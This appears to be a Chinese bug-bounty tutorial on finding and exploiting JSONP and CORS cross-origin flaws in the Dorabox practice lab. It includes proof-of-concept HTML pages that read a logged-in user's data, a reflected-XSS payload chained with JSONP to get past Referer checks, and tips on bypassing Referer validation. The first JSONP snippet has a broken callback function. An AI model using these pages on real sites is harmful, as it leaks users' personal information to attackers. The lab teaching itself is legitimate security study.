jsonp和cors大家原理可能比较清楚，但是在挖掘上可能存在一些问题，这里不再说原理了，这里以漏洞靶场Dorabox为例
0x01 jsonp
遇到的jsonp接口想必都是这样：
http://10.211.55.4/Dorabox/csrf/jsonp.php?callback=test
(PS：这里是有敏感信息的，phone、mail等等……，没有敏感信息的jsonp厂商一般是不会收取的)
怎么利用，编写一个poc
<html>
<head>
</head>
<body>
<script>
function (json){
alert(JSON.stringify(json))}
</script>
<script src="http://10.211.55.4/Dorabox/csrf/jsonp.php?callback=test"></script>
</body>
</html>
构造一个恶意页面，这样，如果用户访问到这个页面，就直接弹框用户的信息(当然也可以进行恶意收集，弹框仅做证明漏洞存在)
现在很多jsonp已经做了校验，如果jsonp校验了Referer头的话，那么普通的jsonp肯定是不可以的，我们可以回过头去看上面这个请求
这里是没有Referer的，当存在本域，或者信任域的Referer校验的时候，可以试null校验、部分关键词匹配绕过等等
这里说下配合反射xss来进行jsonp的
同样，是在Dorabox的环境下，存在一处反射xss
http://10.211.55.4/Dorabox/xss/reflect\_xss.php?name=%3Cscript%3Ealert%28%271%27%29%3C%2Fscript%3E&submit=submit
name参数即为漏洞点
payload如下：
<script>function test(json){alert(JSON.stringify(json))}</script><script src="http://10.211.55.4/Dorabox/csrf/jsonp.php?callback=test"></script>
替换，访问
直接在xss处进行了弹窗
去看数据包：
通过xss进行的jsonp请求，获取到了数据，还能过Referer的校验
0x02 cors
cors，对它的误解挺深的，之前天真的以为，只要请求头出现了Origin:test.com(泛指外域)，响应头里出现了Access-Control-Allow-Origin:test.com或者*的时候，就是cors漏洞了。
这里还是以Dorabox来举例
直接写个poc
<html>
<body>
<h2>CORS POC Exploit</h2>
<div id="demo">
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhttp.open("GET", "http://10.211.55.4/Dorabox/csrf/userinfo.php", true);
xhttp.withCredentials = true;
xhttp.send();
}
cors();
</script>
</body>
</html>
构造一个恶意页面，同样，如果用户访问到这个页面，就直接弹框用户的信息
当然，以上可以认为存在cors漏洞，但是利用不利用，还得看Access-Control-Allow-Credentials: true这个响应头参数，含义为：告诉客户端可以在HTTP请求中带上Cookie
举个例子，比如该站，是存在Access-Control-Allow-Origin:*的
这里我们构造一个payload，进行弹窗，发现访问是空白
简单说下问题，Dorabox是没有cookie认证的，所以只要访问到相应的页面，就会进行弹窗，然而真实情况下，是需要用户认证的，也就是说，cors成功利用的话，需要Access-Control-Allow-Credentials: true响应头参与的
当以上条件满足了，是不是以为这样所有情况就是万事俱备只欠东风了，错了，还有一步，当有些特殊情况下，需要OPTIONS请求允许，具体如下
有些时候一些请求里需要在headers里面增加一些字段，可以通过
xhttp.setRequestHeader("key", "value");
进行添加
当请求头里含有Sec-Fetch-*这样的时候，当进行cors攻击的时候会发生一次OPTIONS请求，当OPTIONS请求失败的时候，CORS无法继续
所以一个完美的CORS漏洞，需要不停的调试payload
当我们交漏洞的时候，是需要进行漏洞利用的，如果仅仅在本地环境进行复现，可以说是类比于self-xss的感觉，把找到的cors漏洞构造好的html页面放到自己的VPS里，进行访问：
cors的话，也可能存在Referer头校验，也可以配合反射XSS进行组合攻击：
有兴趣的师傅可以自行研究一下payload。组合漏洞较单个漏洞更为精彩，奖励也比单个漏洞稍高，能挖组合漏洞尽量挖组合漏洞
这里只是稍微浅析了一下这两个跨域漏洞，关于这两个漏洞还有更多的拓展等待挖掘。
本文迁移自知识星球“火线Zone”
